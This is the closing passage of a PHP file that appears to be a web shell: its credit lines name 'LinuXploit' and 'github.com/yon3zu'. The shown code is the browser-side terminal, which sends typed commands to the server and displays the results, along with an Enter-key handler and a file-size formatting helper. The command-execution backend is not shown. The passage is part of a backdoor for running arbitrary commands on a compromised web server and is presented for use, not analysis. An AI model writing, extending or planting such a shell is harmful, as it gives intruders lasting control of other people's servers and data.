            outputDiv.scrollTop = outputDiv.scrollHeight;
            cmdInput.value = \'\';
            cmdInput.focus();
        })
        .catch(error => {
            outputDiv.innerHTML = \'<div style="color:#f00">Error: \' + error + \'</div>\';
        });
    
    return false; // Prevent form submission
}

// Enter key shortcut
document.addEventListener("keydown", function(e) {
    if (e.target.id === "commandInput" && e.key === "Enter" && !e.shiftKey) {
        e.preventDefault();
        executeTerminal();
    }
});

// Focus command input on page load
document.getElementById("commandInput")?.focus();
</script>';

echo '</body></html>';

// Helper function to format file size
function formatSize($bytes) {
    if ($bytes == 0) return "0 B";
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = floor(log($bytes, 1024));
    return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i];
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit